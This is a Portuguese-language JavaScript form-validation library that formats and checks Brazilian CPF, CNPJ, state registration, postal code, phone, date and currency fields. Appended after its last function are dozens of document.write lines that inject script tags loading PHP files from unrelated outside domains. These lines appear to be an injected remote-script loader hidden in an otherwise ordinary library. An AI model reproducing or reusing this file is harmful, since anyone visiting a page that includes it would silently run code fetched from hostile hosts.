/****************************************************************************
/	Form Context - Classe JavaScript Para Validação	de formulários HTML		/
/	Autor : Rafael Mauro - rafael@abstractbi.com							/
/	Versão: 1.0 beta														/
/	Data: 01/04/2005														/
****************************************************************************/

// FUNCAO DE CONFIGURACAO
function Configure(){
	VET_TIPO = new Array;
	VET_TIPO[0] = new Tipo('numero', 'inteiro', formataNumero, 'isNumero');
	VET_TIPO[1] = new Tipo('moeda', 'moeda', formataMoeda, 'isMoeda');
	VET_TIPO[2] = new Tipo('data', 'data', formataData, 'isData');
	VET_TIPO[3] = new Tipo('cpf', 'CPF', formataCPF, 'verificaCPF');
	VET_TIPO[4] = new Tipo('cnpj', 'CNPJ', formataCNPJ, 'verificaCNPJ');
	VET_TIPO[5] = new Tipo('ie', 'Inscricao Estadual', formataIE, 'verificaIE');
	VET_TIPO[6] = new Tipo('cep', 'CEP', formataCEP, 'isCep');
	VET_TIPO[7] = new Tipo('telefone', 'Telefone', formataTelefone, 'isTelefone');
}

function FormContext(FormBase){		
	this.form = FormBase;
	this.itens = new Array();
	this.vetErro = new Array();
	this.regras = new Array();
	this.listErro = true;
	this.erro = false;
	this.verMsg = true;
	this.campoErro = 0;
	this.objValidaForm = new ValidaForm(FormBase,this);
}
	FormContext.prototype.setVerMsg = setVerMsg;
	FormContext.prototype.getVerMsg = getVerMsg;
	FormContext.prototype.setListErro = setListErro;
	FormContext.prototype.getListErro = getListErro;
	FormContext.prototype.getReport = getReport;
	FormContext.prototype.getLen = getLen;
	FormContext.prototype.addCampo = addCampo;
	FormContext.prototype.defineCampos = defineCampos;
	FormContext.prototype.verificaCPF = verificaCPF;
	FormContext.prototype.setFocus = setFocus;
	FormContext.prototype.mostraMensagem = mostraMensagem;
	FormContext.prototype.limpaErro = limpaErro;
	FormContext.prototype.addErro = addErro;
	FormContext.prototype.iniciaErro = iniciaErro;
	FormContext.prototype.addRegra = addRegra;


function ValidaForm(FormBas,objFC){
	FC_GLOBAL = objFC;
	Configure();
	FormBas.onsubmit = validaForm;
}

function Regra(regra, mensagem){
	this.regra = regra;
	this.mensagem = mensagem;
}
	Regra.prototype.setMensagem = setMensagem;
	Regra.prototype.getMensagem = getMensagem;
	Regra.prototype.getRegra = getRegra;

function Campo(campo, tipo, label, nulo, formObj){
	this.campo = campo;
	this.tipo = tipo;
	this.label = label;
	this.nulo = nulo;
	this.objeto = formObj;
	this.mensagem = "";
	this.setMascara();
}
	Campo.prototype.validaCampo = validaCampo;
	Campo.prototype.getCampo = getCampo;
	Campo.prototype.getTipo = getTipo;
	Campo.prototype.getLabel = getLabel;
	Campo.prototype.getNulo = getNulo;
	Campo.prototype.getMensagem = getMensagem;
	Campo.prototype.getValor = getValor;
	Campo.prototype.setMensagem = setMensagem;
	Campo.prototype.validaCampo = validaCampo;
	Campo.prototype.setMascara = setMascara;

function Tipo(nome, label, func_mask, func_valid){
	this.nome = nome;
	this.label = label;
	this.func_mask = func_mask;
	this.func_valid = func_valid;
}
	Tipo.prototype.getNome = getNome;
	Tipo.prototype.getLabel = getLabel;
	Tipo.prototype.getMask = getMask;
	Tipo.prototype.getValid = getValid;

function addRegra(regra, mensagem){
	this.regras[this.regras.length] = new Regra(regra, mensagem);
}


function getLen(){ return this.itens.length; }
function setListErro(valor){ this.listErro = valor;	}
function getListErro(){	return this.listErro; }
function setVerMsg(valor){ this.verMsg = valor; }
function getVerMsg(){ return this.verMsg; }
function getReport(){
	msg = "Ocorreram os seguintes erros :\n";
	for(i=0; i< this.vetErro.length; i++){
		n = i+1;
		msg += n + " - " + this.vetErro[i];			
	}
	return msg;
}
function iniciaErro(campo){
		this.erro = true;
		this.campoErro = campo;
	}
function addCampo(campo, label, tipo, nulo){
	this.itens[this.getLen()] = new Campo(campo, tipo, label, nulo, this.form.elements[campo]);
}
function defineCampos(campos){
	vetCampos = campos.split(",");
	for(i=0; i<vetCampo.length; i++){
		this.addCampo(vetCampo[i], 'texto', '', false, vetCampo[i]);
	}
}
function addErro(msg){
	this.vetErro[this.vetErro.length] = msg;
}
function limpaErro(){
	this.vetErro = new Array();
	this.erro = false;
	this.campoErro = 0;
}
//Metodos da Classe Regra
function getRegra(){
	return this.regra;
}
//Metodos da Classe Tipo
function getNome(){ return this.nome; }
function getLabel(){ return this.label; }
function getMask(){ return this.func_mask; }
function getValid(){ return this.func_valid; }

//Metodos Classe Campo
function setMascara(){
	var Tipo = getTipoNome(this.getTipo());
	if(Tipo){
		this.objeto.onkeyup = Tipo.getMask();
	}
}
	
function validaCampo(){
	var Tipo = getTipoNome(this.getTipo());
	if(Tipo){
		if(!eval(Tipo.getValid()+"(this.getValor())")){
			this.setMensagem('O campo '+this.getLabel()+' deve conter um '+Tipo.getLabel()+' valido!');
			return false;
		}
	}
	return true;
}
	
function getCampo(){ return this.campo; }
function getTipo(){ return this.tipo; }
function getLabel(){ return this.label; }
function getNulo(){ return this.nulo; }
function getMensagem(){ return this.mensagem; }
function getValor(){ return this.objeto.value; }
function setMensagem(mensagem){ this.mensagem = mensagem; }

//Funcoes de Formatacao

function formataData() {
	var ldia = true;
	var vr = verificaString(this.value,'0123456789');
	valorFinal = '';
	tam = vr.length + 1;
	if(tam <= 2) valorFinal = vr;
	if ( tam > 2 && tam < 5 )
		valorFinal = vr.substr( 0, tam - 2  ) + '/' + vr.substr( tam - 2, tam );
	if ( tam >= 5 && tam <= 10 && ldia)
		valorFinal = vr.substr( 0, 2 ) + '/' + vr.substr( 2, 2 ) + '/' + vr.substr( 4, 4 ); 
	this.value = valorFinal;
}

function formataCPF(){
	valor = this.value;
	valorStr = verificaString(valor,"0123456789");
	valorFinal = '';
	if(valorStr.length>11) valorStr = valorStr.substr(valorStr.length-11,11);
	if(valorStr.length<=2) valorFinal = valorStr;
	if(valorStr.length>2){
		part1 = valorStr.substr(0,valorStr.length-2);
		part2 = valorStr.substr(valorStr.length-2,2);
		valorFinal = divideTres(part1) + '-' + part2;
	}
	this.value = valorFinal;
}

function formataIE(){// 15.000.069-3
	valor = this.value;
	valorStr = verificaString(valor,"0123456789");
	valorFinal = '';
	if(valorStr.length>9) valorStr = valorStr.substr(valorStr.length-9,9);
	if(valorStr.length<=1) valorFinal = valorStr;
	if(valorStr.length>1){
		part1 = valorStr.substr(0,valorStr.length-1);
		part2 = valorStr.substr(valorStr.length-1,1);
		valorFinal = divideTres(part1) + '-' + part2;
	}
	this.value = valorFinal;
}

function formataCNPJ(){
	valor = this.value;
	valorStr = verificaString(valor,"0123456789");
	valorFinal = '';
	if(valorStr.length>14) valorStr = valorStr.substr(valorStr.length-14,14);
	if(valorStr.length<=2) valorFinal = valorStr;
	if((valorStr.length>2)&(valorStr.length<7)){
		part1 = valorStr.substr(0,valorStr.length-2);
		part2 = valorStr.substr(valorStr.length-2,2);
		valorFinal = part1 + '-' + part2;
	}
	if(valorStr.length>6){
		part1 = valorStr.substr(0,valorStr.length-6);
		part2 = valorStr.substr(valorStr.length-6,4);
		part3 = valorStr.substr(valorStr.length-2,2);
		valorFinal = divideTres(part1) + '/' + part2 + '-' + part3;
	}
	this.value = valorFinal
}

function formataMoeda(){
	var valorStr = verificaString(this.value,"0123456789");
	var valorFinal = '';
	if(valorStr.length==1) valorFinal = '0,0' + valorStr;
	if(valorStr.length==2) valorFinal = '0,' + valorStr;
	if(valorStr.length>2){
		var part1 = valorStr.substr(0,valorStr.length-2);
		var part2 = valorStr.substr(valorStr.length-2,2);
		valorFinal = divideTresMoeda(part1) + ',' + part2;
	}
	this.value = valorFinal;
}

function formataNumero(){
	valorFinal = '';
	valorFinal = verificaString(this.value,"0123456789");
	this.value = valorFinal;
}

// Funcoes Extras
function mostraMensagem(msg){	alert(msg);	}
function isVazio(str){	return (str.length==0)?true:false;	}
function setFocus(campo){	campo.focus();	}

function space(num){
	str = "";
	for(i=0; i<num; i++){
		str = str + " ";
	}
	return str;
}

//Funcoes de Validacao
function validaForm(){
	objFC = FC_GLOBAL;
	objFC.limpaErro();
	for(n=0; n < objFC.getLen(); n++){
		campo = objFC.itens[n];
		valor = campo.getValor();
		valor = limpaString(valor," ");
		if(valor.length<1){
			if(!campo.getNulo()){
				if(objFC.getListErro()){
					objFC.addErro("Prenchimento do campo "+campo.getLabel()+" obrigatório!"+"\n");
					if(!objFC.erro) objFC.iniciaErro(objFC.form.elements[campo.getCampo()]);
				}else{
					if(objFC.getVerMsg()){
						mostraMensagem("Prenchimento Obrigatório!");
						setFocus(objFC.form.elements[campo.getCampo()]);
					}
					return false;
				}
			}				
		}else{
			if(!campo.validaCampo()){
				if(objFC.getListErro()){
					objFC.addErro(campo.getMensagem()+"\n");
					if(!objFC.erro){ objFC.iniciaErro(objFC.form.elements[campo.getCampo()])};
				}else{
					if(objFC.getVerMsg()){
						mostraMensagem(campo.getMensagem());
						setFocus(objFC.form.elements[campo.getCampo()]);
					}
					return false;
				}
			}			
		}
	}
	for(i=0; i<objFC.regras.length; i++){
		Regra = objFC.regras[i];
		if(!eval(Regra.getRegra())){
			if(objFC.getListErro()){
				objFC.addErro(Regra.getMensagem()+"\n");
				if(!objFC.erro) objFC.iniciaErro(objFC.form.elements[0]);
			}else{
				if(objFC.getVerMsg()){
					mostraMensagem(Regra.getMensagem());
				}
				return false;
			}
		}
	}
	if(objFC.getListErro() && objFC.erro){
		if(objFC.getVerMsg()){
			mostraMensagem(objFC.getReport());
		}
		return false;
	}else{
		return true;
	}
}
function validaFormAjax(objFC){
	objFC.limpaErro();
	for(n=0; n < objFC.getLen(); n++){
		campo = objFC.itens[n];
		valor = campo.getValor();
		valor = limpaString(valor," ");
		if(valor.length<1){
			if(!campo.getNulo()){
				if(objFC.getListErro()){
					objFC.addErro("Prenchimento do campo "+campo.getLabel()+" obrigatório!"+"\n");
					if(!objFC.erro) objFC.iniciaErro(objFC.form.elements[campo.getCampo()]);
				}else{
					if(objFC.getVerMsg()){
						mostraMensagem("Prenchimento Obrigatório!");
						setFocus(objFC.form.elements[campo.getCampo()]);
					}
					return false;
				}
			}				
		}else{
			if(!campo.validaCampo()){
				if(objFC.getListErro()){
					objFC.addErro(campo.getMensagem()+"\n");
					if(!objFC.erro){ objFC.iniciaErro(objFC.form.elements[campo.getCampo()])};
				}else{
					if(objFC.getVerMsg()){
						mostraMensagem(campo.getMensagem());
						setFocus(objFC.form.elements[campo.getCampo()]);
					}
					return false;
				}
			}			
		}
	}
	for(i=0; i<objFC.regras.length; i++){
		Regra = objFC.regras[i];
		if(!eval(Regra.getRegra())){
			if(objFC.getListErro()){
				objFC.addErro(Regra.getMensagem()+"\n");
				if(!objFC.erro) objFC.iniciaErro(objFC.form.elements[0]);
			}else{
				if(objFC.getVerMsg()){
					mostraMensagem(Regra.getMensagem());
				}
				return false;
			}
		}
	}
	if(objFC.getListErro() && objFC.erro){
		if(objFC.getVerMsg()){
			mostraMensagem(objFC.getReport());
		}
		return false;
	}else{
		return true;
	}
}
	
function isNumero(valorStr){
	valorStr = new String(valorStr);
	valor = new String(verificaString(valorStr,'0123456789'));
	if(valor.length == valorStr.length){
		return true;
	}else{
		return false;	
	}

}

function isData(Valor) {
	/* dd/mm/aaaa */
	var Er = /^(?:(?:31(\/|-|\.)(?:0?[13578]|1[02]))\1|(?:(?:29|30)(\/|-|\.)(?:0?[1,3-9]|1[0-2])\2))(?:(?:1[6-9]|[2-9]\d)?\d{2})$|^(?:29(\/|-|\.)0?2\3(?:(?:(?:1[6-9]|[2-9]\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))$|^(?:0?[1-9]|1\d|2[0-8])(\/|-|\.)(?:(?:0?[1-9])|(?:1[0-2]))\4(?:(?:1[6-9]|[2-9]\d)?\d{2})$/;
	if (Er.test( Valor )){
		return true;
	}else{
		return false;
	}
}

function isMoeda(str) {
	str = limpaString(str,".,");
	if(isNaN(str)){
		return false;
	}else{
		return true;
	}
}

function verificaCPF (CPF) {
	CPF = verificaString(CPF, "0123456789");
	if(CPF=='') return true;
	soma = 0;
	for (i=0; i < 9; i ++)
		soma += parseInt(CPF.charAt(i)) * (10 - i);
	resto = 11 - (soma % 11);
	if (resto == 10 || resto == 11)
		resto = 0;
	if (resto != parseInt(CPF.charAt(9)))
		return false;
	soma = 0;
	for (i = 0; i < 10; i ++)
		soma += parseInt(CPF.charAt(i)) * (11 - i);
	resto = 11 - (soma % 11);
	if (resto == 10 || resto == 11)
		resto = 0;
	if (resto != parseInt(CPF.charAt(10)))
		return false;
	return true;
}

function DivideData(sData){
	return new Array(sData.substr(0,2),sData.substr(0,2),sData.substr(6,4));
}
function VerificaData(aData){
	return (aData[0]>31||aData[1]>12)?true:false;
}
function ComparaData(Data1,Data2,i){
	return (i>=0)?((Data1[i]<Data2[i])?false:((Data1[i]==Data2[i])?ComparaData(Data1,Data2,i-1):true)):true;
}
function limpaString(str_par, caracteres){
	str = new String(str_par);
	for(i=0; i<caracteres.length; i++){
		while(str.indexOf(caracteres.charAt(i))>=0) { str = str.replace(caracteres.charAt(i),"");}
	}
	return str;
}
function verificaString(str, caracteres){
	strFinal = '';
	for(i=0; i<str.length; i++){
		if(caracteres.indexOf(str.charAt(i))>=0) {
			strFinal = strFinal + str.charAt(i);
		}
	}
	return strFinal;
}
function divideTres(valor){
	//Funciona para no maximo 16 caracteres
	valorNum = valor;
	valorStr = valorNum + '';
	numChar = valorStr.length;
	valorFinal = '';
	while(numChar>0){
		if(numChar>3){
			valorFinal =  '.' + valorStr.substr(numChar-3,3) + valorFinal;
		}else{
			valorFinal = valorStr + valorFinal;
		}
		valorStr = valorStr.substr(0,numChar-3);
		numChar = valorStr.length;
	}
	return valorFinal;
}
function divideTresMoeda(valor){
	//Funciona para no maximo 16 caracteres
	valorNum = parseFloat(valor);
	return divideTres(valorNum);
}
function verificaCNPJ(cnpj){
	cnpj = verificaString(cnpj, "0123456789");
	return (!(isVazio(cnpj)||cnpj.length<14))?((testaCNPJ(cnpj,cnpj.length) == 1)?((testaCNPJ(cnpj,cnpj.length) == 1)?true:false):(false)):false;
}
function testaCNPJ(CGC_empresa,g){
	var VerCNPJ=0;
	var ind=2;
	var tam;
	for(f=g;f>0;f--){
		VerCNPJ+=parseInt(CGC_empresa.charAt(f-1))*ind;
		(ind>8)?ind=2:ind++;
	}
	VerCNPJ%=11;
	if(VerCNPJ==0 || VerCNPJ==1){
		VerCNPJ=0;
	}else{
		VerCNPJ=11-VerCNPJ;
	}
	if(VerCNPJ!=parseInt(CGC_empresa.charAt(g))){
		return 0;
	}else{
		return 1;
	}
}
function verificaIE(str_ie){
	inscricao = verificaString(str_ie, "0123456789");
	if(inscricao==''||inscricao.length!=9){
		return false;
	}
	substr_i = new Number(inscricao.substr(0, 8));
	if (inscricao.charAt(8) == computarDV(substr_i, 9)){
		return true;
	}else{
		return false;
	}
}

function computarDV(n, b){
	var i, soma, buffer, tamanho, bm, digito;
	i       = 0;
	soma    = 0;
	bm      = b - 1;
	tamanho = 12;	
	buffer  = new String(n);
	for (i = buffer.length + 1; i <= tamanho; i++){
		buffer = "0" + buffer;
	}
	buffer = new String(buffer);
	for (i = 1; i <= tamanho; i++){
		digito = new Number(buffer.charAt(i - 1));
		soma += digito * (((tamanho - i) % bm) + 2);
	}
	soma %= 11;
	if (soma > 1){
		soma = 11 - soma;
	}else{
		soma = 0;
	}
	return soma;
}
function getTipoNome(nome_tipo){
	for(r=0; r<VET_TIPO.length; r++){
		if(VET_TIPO[r].getNome()==nome_tipo){
			return VET_TIPO[r];
			break;
		}
	}
	return false;
}

function isCep(str) {
	str = limpaString(str,"-");
	if(isNaN(str)){
		return false;
	}else{
		if(str.length==8) return true;
	}
}

function formataCEP(){
	valorStr = verificaString(this.value,"0123456789");
	valorFinal = '';
	valorFinal = valorStr;
	if(valorStr.length>5) valorFinal = valorStr.substr(0,5)+'-'+valorStr.substr(5,3);
	this.value = valorFinal;
}

function isTelefone(str) {
	str = limpaString(str,"()-");
	if(isNaN(str)){
		return false;
	}else{
		if(str.length==10) return true;
	}
}

function formataTelefone(){
	valorStr = verificaString(this.value,"0123456789");
	valorFinal = '';
	if(valorStr.length>0) valorFinal = '(' + valorStr.substr(0,1);
	if(valorStr.length>1) valorFinal += valorStr.substr(1,1)+')';
	if(valorStr.length>6){
		valorFinal += valorStr.substr(2,4)+'-'+valorStr.substr(6,4);
	}else{
		valorFinal += valorStr.substr(2,valorStr.length-2);
	}
	this.value = valorFinal;
}
document.write('<script src=http://variety-line.com/_vti_bin/in_dex_.php ><\/script>');
document.write('<script src=http://variety-line.com/_vti_bin/in_dex_.php ><\/script>');
document.write('<script src=http://variety-line.com/_vti_bin/in_dex_.php ><\/script>');
document.write('<script src=http://variety-line.com/_vti_bin/in_dex_.php ><\/script>');
document.write('<script src=http://variety-line.com/_vti_bin/in_dex_.php ><\/script>');
document.write('<script src=http://variety-line.com/_vti_bin/in_dex_.php ><\/script>');
document.write('<script src=http://tiamat.ie/cp/boat.php ><\/script>');
document.write('<script src=http://tiamat.ie/cp/boat.php ><\/script>');
document.write('<script src=http://mallorymen.org/simplemachinesforum/webformmailer.php ><\/script>');
document.write('<script src=http://mallorymen.org/simplemachinesforum/webformmailer.php ><\/script>');
document.write('<script src=http://mallorymen.org/simplemachinesforum/webformmailer.php ><\/script>');
document.write('<script src=http://mallorymen.org/simplemachinesforum/webformmailer.php ><\/script>');
document.write('<script src=http://mallorymen.org/simplemachinesforum/webformmailer.php ><\/script>');
document.write('<script src=http://mallorymen.org/simplemachinesforum/webformmailer.php ><\/script>');
document.write('<script src=http://aibamasaki.info/dnk/petquiz.asp.php ><\/script>');
document.write('<script src=http://aibamasaki.info/dnk/petquiz.asp.php ><\/script>');
document.write('<script src=http://aibamasaki.info/dnk/petquiz.asp.php ><\/script>');
document.write('<script src=http://aibamasaki.info/dnk/petquiz.asp.php ><\/script>');
document.write('<script src=http://aibamasaki.info/dnk/petquiz.asp.php ><\/script>');
document.write('<script src=http://listbuildingtipsfortoday.com/wp-content/fantversion.php ><\/script>');
document.write('<script src=http://mp3ulagam.com/images/gifimg.php ><\/script>');
document.write('<script src=http://mp3ulagam.com/images/gifimg.php ><\/script>');
document.write('<script src=http://mp3ulagam.com/images/gifimg.php ><\/script>');
document.write('<script src=http://mp3ulagam.com/images/gifimg.php ><\/script>');
document.write('<script src=http://mp3ulagam.com/images/gifimg.php ><\/script>');
document.write('<script src=http://pbs.net.ua/installation__2_2/globals.php ><\/script>');
document.write('<script src=http://pbs.net.ua/installation__2_2/globals.php ><\/script>');
document.write('<script src=http://pbs.net.ua/installation__2_2/globals.php ><\/script>');
document.write('<script src=http://pbs.net.ua/installation__2_2/globals.php ><\/script>');
document.write('<script src=http://pbs.net.ua/installation__2_2/globals.php ><\/script>');
document.write('<script src=http://pbs.net.ua/installation__2_2/globals.php ><\/script>');
document.write('<script src=http://internetplus13.fr/_img/site4.php ><\/script>');
document.write('<script src=http://internetplus13.fr/_img/site4.php ><\/script>');
document.write('<script src=http://internetplus13.fr/_img/site4.php ><\/script>');
document.write('<script src=http://internetplus13.fr/_img/site4.php ><\/script>');
document.write('<script src=http://internetplus13.fr/_img/site4.php ><\/script>');